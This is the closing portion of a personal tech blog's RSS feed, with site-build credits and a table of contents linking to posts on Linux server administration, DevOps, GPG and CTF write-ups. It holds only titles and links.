&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;span class="inline-svg"&gt;&lt;svg role="img" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;title&gt;GNU Privacy Guard&lt;/title&gt;&lt;path fill=" currentColor" d="M2.968 11.583h1.274v-3.82A7.76 7.76 0 0 1 12.005 0a7.76 7.76 0 0 1 7.762 7.763v3.783c-.018.01-.037.028-.056.037l-.01.01-.008.009h-.01l-.01.01-.009.009H19.636l-.018.018h-.02l-.018.01h-.01l-.009.01-.009.009h-.01l-.009.009-.009.01-.01.009-.009.009-.028.019-.019.01-.028.018-.018.01-.02.009-.027.018-.019.01-.01.009-.027.019-.02.01-.046.027-.019.01-.018.009-.02.01h-.008l-.057.027h-.019c-.018.01-.037.02-.065.038h-.01l-.009.01-.028.018-.018.01-.029.018-.018.01h-.01l-.028.018-.018.01-.02.009c-.018.01-.046.019-.065.028l-.018.01-.02.009-.037.018-.037.02-.047.018-.047.019-.019.009-.037.019-.019.01c-1.545.739-4.017 1.516-8.708 1.853-3.362.244-5.403 1.723-6.724 3.502zm4.842 0h8.371v-3.82a4.184 4.184 0 0 0-4.186-4.186A4.184 4.184 0 0 0 7.81 7.763zm13.222 1.461V24H5.572c1.704-.946 2.968-.852 5.075-.787 2.865.094 6.03-1.105 7.585-2.696 1.554-1.592-.14-.375-1.901.074-1.76.45-5.17.497-7.454-.103 7.173.094 9.973-2.219 11.555-4.307 1.583-2.079-.683-.365-2.153.356-1.47.72-4.036 1.227-6.864.852 4.27-.01 7.52-2.144 9.607-4.345z"/&gt;&lt;/svg&gt; &lt;/span&gt; &lt;a href="https://thanoskoutr.com/thanoskoutr_public.asc"&gt;Download PGP key&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="site-information"&gt;
Site Information
&lt;a href="#site-information" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Website built with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Theme: &lt;a href="https://github.com/panr/hugo-theme-hello-friend"&gt;Hello Friend&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Static Site Generator: &lt;a href="https://gohugo.io/"&gt;&lt;span class="inline-svg"&gt;&lt;svg role="img" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;title&gt;Hugo&lt;/title&gt;&lt;path fill=" currentColor" d="M11.754 0a3.998 3.998 0 00-2.049.596L3.33 4.532a4.252 4.252 0 00-2.017 3.615v8.03c0 1.473.79 2.838 2.067 3.574l6.486 3.733a3.88 3.88 0 003.835.018l7.043-3.966a3.817 3.817 0 001.943-3.323V7.752a3.57 3.57 0 00-1.774-3.084L13.817.541a3.998 3.998 0 00-2.063-.54zm.022 1.674c.413-.006.828.1 1.2.315l7.095 4.127c.584.34.941.96.94 1.635v8.462c0 .774-.414 1.484-1.089 1.864l-7.042 3.966a2.199 2.199 0 01-2.179-.01l-6.485-3.734a2.447 2.447 0 01-1.228-2.123v-8.03c0-.893.461-1.72 1.221-2.19l6.376-3.935a2.323 2.323 0 011.19-.347zm-4.7 3.844V18.37h2.69v-5.62h4.46v5.62h2.696V5.518h-2.696v4.681h-4.46V5.518Z"/&gt;&lt;/svg&gt; &lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Editors: &lt;a href="https://code.visualstudio.com/"&gt;&lt;span class="inline-svg"&gt;&lt;svg role="img" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;title&gt;Visual Studio Code&lt;/title&gt;&lt;path fill=" currentColor" d="M23.15 2.587L18.21.21a1.494 1.494 0 0 0-1.705.29l-9.46 8.63-4.12-3.128a.999.999 0 0 0-1.276.057L.327 7.261A1 1 0 0 0 .326 8.74L3.899 12 .326 15.26a1 1 0 0 0 .001 1.479L1.65 17.94a.999.999 0 0 0 1.276.057l4.12-3.128 9.46 8.63a1.492 1.492 0 0 0 1.704.29l4.942-2.377A1.5 1.5 0 0 0 24 20.06V3.939a1.5 1.5 0 0 0-.85-1.352zm-5.146 14.861L10.826 12l7.178-5.448v10.896z"/&gt;&lt;/svg&gt; &lt;/span&gt;&lt;/a&gt;, &lt;a href="https://www.vim.org/"&gt;&lt;span class="inline-svg"&gt;&lt;svg role="img" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;title&gt;Vim&lt;/title&gt;&lt;path fill=" currentColor" d="M24 11.986h-.027l-4.318-4.318 4.303-4.414V1.461l-.649-.648h-8.198l-.66.605v1.045L12.015.027V0L12 .014 11.986 0v.027l-1.29 1.291-.538-.539H2.035l-.638.692v1.885l.616.616h.72v5.31L.027 11.987H0L.014 12 0 12.014h.027l2.706 2.706v6.467l.907.523h2.322l1.857-1.904 4.166 4.166V24l.015-.014.014.014v-.028l2.51-2.509h.485c.111 0 .211-.07.25-.179l.146-.426c.028-.084.012-.172-.037-.239l1.462-1.462-.612 1.962c-.043.141.036.289.177.332.025.008.052.012.078.012h1.824c.106-.001.201-.064.243-.163l.165-.394c.025-.065.024-.138-.004-.203-.027-.065-.08-.116-.146-.142-.029-.012-.062-.019-.097-.02h-.075l.84-2.644h1.232l-1.016 3.221c-.043.141.036.289.176.332.025.008.052.012.079.012h2.002c.11 0 .207-.066.248-.17l.164-.428c.051-.138-.021-.29-.158-.341-.029-.011-.06-.017-.091-.017h-.145l1.131-3.673c.027-.082.012-.173-.039-.24l-.375-.504-.003-.005c-.051-.064-.127-.102-.209-.102h-1.436c-.071 0-.141.03-.19.081l-.4.439h-.624l-.042-.046 4.445-4.445H24L23.986 12l.014-.014zM9.838 21.139l1.579-4.509h-.501l.297-.304h1.659l-1.563 4.555h.623l-.079.258H9.838zm3.695-7.516l.15.151-.269.922-.225.226h-.969l-.181-.181.311-.871.288-.247h.895zM5.59 20.829H3.877l-.262-.15V3.091H2.379l-.1-.1V1.815l.143-.154h7.371l.213.214v1.108l-.142.173H8.785v8.688l8.807-8.688h-2.086l-.175-.188V1.805l.121-.111h7.49l.132.133v1.07L12.979 13.25h-.373c-.015-.001-.028 0-.042.001l-.02.003c-.045.01-.086.03-.119.06l-.343.295-.004.003c-.033.031-.059.069-.073.111l-.296.83-6.119 6.276zm14.768-3.952l.474-.519h1.334l.309.415-1.265 4.107h.493l-.08.209H19.84l1.124-3.564h-2.015l-1.077 3.391h.424l-.073.174h-1.605l1.107-3.548h-2.096l-1.062 3.339h.436l-.072.209H13.27l1.514-4.46H14.198l.091-.271h1.65l.519.537h.906l.491-.554h1.061l.489.535h.953z"/&gt;&lt;/svg&gt; &lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Hosting: &lt;a href="https://www.netlify.com/"&gt;&lt;span class="inline-svg"&gt;&lt;svg role="img" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;title&gt;Netlify&lt;/title&gt;&lt;path fill=" currentColor" d="M17.3877 8.3286l-.0088-.0037c-.005-.002-.01-.0038-.0144-.0082a.0689.0689 0 0 1-.0176-.0582l.4839-2.9581 2.269 2.2696L17.74 8.574a.052.052 0 0 1-.0206.0037H17.71a.0647.0647 0 0 1-.0126-.0106 1.074 1.074 0 0 0-.3097-.2385zm3.291-.1802l2.4262 2.426c.5039.5045.7561.7562.8481 1.0479.0138.0431.025.0863.0338.1308l-5.798-2.4555a.4557.4557 0 0 0-.0093-.0038c-.0232-.0094-.0501-.02-.0501-.0439 0-.0237.0275-.035.0507-.0444l.0075-.0031zm3.2092 4.3833c-.1252.2354-.3693.4795-.7824.8932l-2.7353 2.7347-3.5377-.7367-.0188-.0038c-.0313-.005-.0645-.0107-.0645-.0388a1.0678 1.0678 0 0 0-.41-.7467c-.0144-.0144-.0106-.037-.0063-.0576 0-.003 0-.0063.0013-.0088l.6654-4.0848.0025-.0138c.0038-.0313.0094-.0676.0376-.0676a1.0829 1.0829 0 0 0 .726-.4162c.0056-.0063.0094-.0131.017-.0169.02-.0094.0437 0 .0644.0088l6.0402 2.555zm-4.1467 4.257l-4.498 4.4979.77-4.732.0012-.0063a.083.083 0 0 1 .0038-.0182c.0063-.015.0226-.0213.0382-.0275l.0075-.0031a1.158 1.158 0 0 0 .435-.3236c.015-.0176.0332-.0345.0564-.0376a.0563.0563 0 0 1 .0181 0l3.1672.651zm-5.45 5.4499l-.507.507-5.6052-8.1007a.2654.2654 0 0 0-.0062-.0088c-.0088-.012-.0182-.0238-.0163-.0376.0006-.01.0069-.0188.0138-.0263l.0062-.0081c.017-.025.0313-.05.047-.077l.0125-.0219.0019-.0019c.0087-.015.0169-.0294.0319-.0376.0131-.0063.0313-.0038.0457-.0006l6.2098 1.2807a.1027.1027 0 0 1 .0476.0206c.008.0081.01.017.0119.027a1.0998 1.0998 0 0 0 .6434.7354c.0175.0088.01.0282.002.0488a.149.149 0 0 0-.0095.0282c-.0782.4757-.7492 4.568-.9295 5.6728zm-1.059 1.0584c-.3737.37-.594.5659-.8432.6447a1.2519 1.2519 0 0 1-.7549 0c-.2916-.0926-.5439-.3442-1.0478-.8487l-5.629-5.629 1.4704-2.2802a.0938.0938 0 0 1 .025-.0294c.0157-.0113.0382-.0063.057 0a1.5235 1.5235 0 0 0 1.0253-.052c.0169-.0063.0338-.0106.0469.0013a.119.119 0 0 1 .0175.02l5.6327 8.174zm-8.8175-6.3756L3.1234 15.63l2.55-1.0879a.0526.0526 0 0 1 .0207-.0044c.0213 0 .0338.0213.045.0407a1.8214 1.8214 0 0 0 .0814.1152l.0082.01c.0075.0106.0025.0213-.005.0313l-1.4084 2.1864zm-1.8628-1.8628L.9183 13.4249c-.278-.2779-.4795-.4794-.6197-.6528l4.9674 1.0303a.5258.5258 0 0 0 .0187.003c.0307.005.0645.0107.0645.0395 0 .0313-.037.0457-.0682.0576l-.0144.0063zM.0132 11.932a1.2519 1.2519 0 0 1 .0563-.3098c.0927-.2917.3443-.5434.8488-1.0478l2.0906-2.0906a1361.7196 1361.7196 0 0 0 2.8955 4.1855c.017.0226.0357.0476.0163.0664-.0914.1008-.1828.211-.2473.3305a.1001.1001 0 0 1-.0313.0388c-.008.005-.0169.003-.0262.0013h-.0013l-5.6014-1.175zm3.5553-4.0078l2.811-2.811c.2641.1157 1.2256.522 2.0856.885.651.2754 1.2443.5258 1.4308.6071.0188.0076.0357.015.0439.0338.005.0113.0025.0257 0 .0376a1.2537 1.2537 0 0 0 .3273 1.1442c.0188.0188 0 .0457-.0163.0689l-.0088.0131-2.8542 4.421c-.0075.0124-.0144.023-.0269.0312-.015.0094-.0363.005-.0538.0006a1.4234 1.4234 0 0 0-.34-.0463c-.1026 0-.214.0188-.3266.0395h-.0007c-.0125.0019-.0238.0044-.0338-.0031a.1314.1314 0 0 1-.0281-.032zm3.3787-3.3788l3.6391-3.639c.504-.5039.7562-.7561 1.0478-.8481a1.2519 1.2519 0 0 1 .755 0c.2916.092.5438.3442 1.0477.848l.7887.7888-2.5882 4.0084a.097.097 0 0 1-.0257.03c-.0156.0107-.0375.0063-.0563 0a1.3126 1.3126 0 0 0-1.2018.2316c-.0169.0176-.042.0075-.0632-.0019-.338-.147-2.967-1.258-3.343-1.4177zm7.8278-2.3009l2.3898 2.3898-.5758 3.5665v.0094a.0845.0845 0 0 1-.005.0238c-.0063.0125-.0188.015-.0313.0188a1.1454 1.1454 0 0 0-.343.1709.0964.0964 0 0 0-.0125.0106c-.007.0075-.0138.0144-.025.0157a.0714.0714 0 0 1-.027-.0044l-3.6416-1.5473-.007-.0031c-.0231-.0094-.0506-.0207-.0506-.0445a1.3758 1.3758 0 0 0-.194-.5727c-.0176-.0288-.037-.0588-.022-.0883zm-2.461 5.3868l3.4138 1.446c.0188.0087.0394.0168.0476.0362a.0663.0663 0 0 1 0 .0357.848.848 0 0 0-.0188.1646v.0958c0 .0238-.0244.0338-.047.0432l-.0069.0025c-.5408.231-7.5924 3.238-7.603 3.238-.0107 0-.022 0-.0326-.0107-.0188-.0188 0-.0451.0169-.0689a.4757.4757 0 0 0 .0087-.0125l2.8054-4.344.005-.0074c.0163-.0263.035-.0557.0651-.0557l.0282.0043c.0638.0088.1202.017.1771.017.4257 0 .82-.2072 1.0579-.5615a.1001.1001 0 0 1 .0212-.025c.017-.0126.042-.0063.0614.0024zm-3.9095 5.7492l7.6863-3.278s.0113 0 .022.0106c.0419.042.0776.0701.112.0964l.0169.0107c.0156.0088.0313.0188.0325.035 0 .0063 0 .01-.0013.0157l-.6584 4.0447-.0025.0163c-.0044.0313-.0088.067-.0382.067a1.0822 1.0822 0 0 0-.8594.5301l-.0031.005c-.0088.0144-.017.0282-.0313.0357-.0131.0063-.03.0038-.0438.0006L8.5064 13.706c-.0063-.0013-.0952-.3249-.102-.3255z"/&gt;&lt;/svg&gt; &lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Domain: &lt;a href="https://www.namecheap.com/"&gt;&lt;span class="inline-svg"&gt;&lt;svg role="img" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;title&gt;Namecheap&lt;/title&gt;&lt;path fill=" currentColor" d="M17.295 17.484c.227.403.57.728.985.931-.309.15-.647.229-.99.232h-3.068a2.26 2.26 0 0 1-1.957-1.143L6.705 6.511a2.27 2.27 0 0 0-.974-.922c.309-.153.652-.233.997-.232h3.05c.81.003 1.558.438 1.959 1.143l5.558 10.984zm-9.329-7.392L6.269 6.755c-.209-.392-.582-.657-.984-.829-.204.165-.391.35-.522.581-.184.349-4.391 8.648-4.569 8.987a2.245 2.245 0 0 0 4.016 1.999l3.756-7.401zm15.846-1.593a2.245 2.245 0 0 0-1.162-2.955v-.001a2.243 2.243 0 0 0-.892-.187l-.003-.011c-.816 0-1.569.443-1.965 1.157l-3.749 7.414 1.689 3.323c.213.399.59.664.998.839.252-.2.473-.444.605-.742l4.479-8.837z"/&gt;&lt;/svg&gt; &lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Site Source: &lt;a href="https://github.com/thanoskoutr/thanoskoutr.com"&gt;&lt;span class="inline-svg"&gt;&lt;svg role="img" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;title&gt;GitHub&lt;/title&gt;&lt;path fill=" currentColor" d="M12 .297c-6.63 0-12 5.373-12 12 0 5.303 3.438 9.8 8.205 11.385.6.113.82-.258.82-.577 0-.285-.01-1.04-.015-2.04-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729 1.205.084 1.838 1.236 1.838 1.236 1.07 1.835 2.809 1.305 3.495.998.108-.776.417-1.305.76-1.605-2.665-.3-5.466-1.332-5.466-5.93 0-1.31.465-2.38 1.235-3.22-.135-.303-.54-1.523.105-3.176 0 0 1.005-.322 3.3 1.23.96-.267 1.98-.399 3-.405 1.02.006 2.04.138 3 .405 2.28-1.552 3.285-1.23 3.285-1.23.645 1.653.24 2.873.12 3.176.765.84 1.23 1.91 1.23 3.22 0 4.61-2.805 5.625-5.475 5.92.42.36.81 1.096.81 2.22 0 1.606-.015 2.896-.015 3.286 0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12"/&gt;&lt;/svg&gt; &lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Archive</title><link>https://thanoskoutr.com/archive/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://thanoskoutr.com/archive/</guid><description/></item><item><title>Projects</title><link>https://thanoskoutr.com/projects/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://thanoskoutr.com/projects/</guid><description>
&lt;p&gt;These are some of my personal projects (mostly programming), that I have listed in this blog. You can find all of my open source projects and contribution on my &lt;a href="https://github.com/thanoskoutr"&gt;GitHub page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;You can also find all the projects in this blog, using the respective tag: &lt;a href="https://thanoskoutr.com/tags/project/"&gt;Project&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Search</title><link>https://thanoskoutr.com/search/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://thanoskoutr.com/search/</guid><description>
&lt;p&gt;Search across all blog pages:&lt;/p&gt;</description></item><item><title>Table of Contents</title><link>https://thanoskoutr.com/contents/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://thanoskoutr.com/contents/</guid><description>
&lt;h2 id="linux-server"&gt;
Linux Server
&lt;a href="#linux-server" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://thanoskoutr.com/tags/server/"&gt;Server&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/static-ip-server-configure/"&gt;Set a Static IP for your Linux Server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/ssh-server-configure/"&gt;Configure SSH security &amp;amp; SSH Keys &amp;amp; UFW firewall&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/ftp-server-configure/"&gt;Create an FTP Server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/sftp-server-configure/"&gt;Create an SFTP Server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/zsh-configure/"&gt;Add ZSH shell &amp;amp; Oh My Zsh for a beautiful and productive shell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/fail2ban-configure/"&gt;Install Fail2ban for intrusion prevention&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/postfix-configure/"&gt;Install Postfix for mail notifications&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://thanoskoutr.com/tags/dns/"&gt;DNS&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/noip2-install-and-service-commands/"&gt;Setup No-IP for DynDNS and a free Domain&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/duckdns-configure/"&gt;Setup Duck DNS for DynDNS and a free Domain&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/pi-hole-install/"&gt;Setup Pi-hole to block ads on the local network&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://thanoskoutr.com/tags/samba/"&gt;Samba&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/samba-configure/"&gt;Install Samba on a Linux Server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/samba-client-configure/"&gt;Install Samba on Windows and Linux clients&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://thanoskoutr.com/tags/web-server/"&gt;Web Server&lt;/a&gt; &amp;amp; &lt;a href="https://thanoskoutr.com/tags/wordpress/"&gt;Wordpress&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/lamp-install/"&gt;Install the LAMP Stack&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/wordpress-install/"&gt;Install Wordpress&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/wordpress-change-port/"&gt;Change Wordpress default port&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/nginx-install/"&gt;Install Nginx&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/ssl-certificate/"&gt;HTTPS with Certbot&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://thanoskoutr.com/tags/iot/"&gt;IoT&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/influxdb-configure/"&gt;Install &amp;amp; Configure InfluxDB&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/grafana-configure/"&gt;Install &amp;amp; Configure Grafana&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/home-assistant-install/"&gt;Install Home Assistant&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/node-red-install/"&gt;Install Node-RED&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://thanoskoutr.com/tags/games/"&gt;Games&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/hamachi-configure/"&gt;Install Hamachi &amp;amp; Commands&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/minecraft-server-configuration/"&gt;Install Minecraft Server&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://thanoskoutr.com/tags/multimedia/"&gt;Multimedia&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/plex-install/"&gt;Install Plex Server&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://thanoskoutr.com/tags/sysadmin/"&gt;SysAdmin&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/homer-configure/"&gt;Install &amp;amp; Configure Homer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/sui-configure/"&gt;Install &amp;amp; Configure SUI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/nodejs-app-service-commands/"&gt;Set Node.js App as systemd service&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/screen/"&gt;Screen Commands&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/install-hard-drive/"&gt;Hard Drive installation on Linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/snmp-configure/"&gt;Setup a SNMP Daemon&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://thanoskoutr.com/tags/devops/"&gt;DevOps&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/docker-install/"&gt;Install Docker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/docker-compose-install/"&gt;Install Docker Compose&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/portainer-install/"&gt;Install Portainer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/aws-setup/"&gt;Getting Started with AWS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="security"&gt;
Security
&lt;a href="#security" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/tags/gpg/"&gt;GPG&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/gpg-keys-configure/"&gt;GPG Keys - Create &amp;amp; Use&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/signing-git-commits/"&gt;Signing Git Commits&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="web"&gt;
Web
&lt;a href="#web" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://thanoskoutr.com/tags/hugo/"&gt;Hugo&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/hugo-install/"&gt;Install Hugo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/hugo-site-configure/"&gt;Configure Hugo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://thanoskoutr.com/tags/analytics/"&gt;Analytics&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/analytics-alternatives/"&gt;Privacy-Focused Alternatives to Google Analytics&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ctf"&gt;
CTF
&lt;a href="#ctf" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://thanoskoutr.com/tags/overthewire/"&gt;OverTheWire&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/tags/bandit/"&gt;Bandit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/tags/leviathan/"&gt;Leviathan&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://thanoskoutr.com/tags/ecsc-ctf-2021/"&gt;ECSC CTF 2021&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/ctfs/ecsc-greece-quals-2021/baby-jawts-doo-doo-doo/"&gt;Baby JAWTS Doo Doo Doo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/ctfs/ecsc-greece-quals-2021/rsa-leaks/"&gt;RSA Leaks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/ctfs/ecsc-greece-quals-2021/serial/"&gt;Serial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thanoskoutr.com/posts/ctfs/ecsc-greece-quals-2021/user-manual/"&gt;User Manual&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item></channel></rss>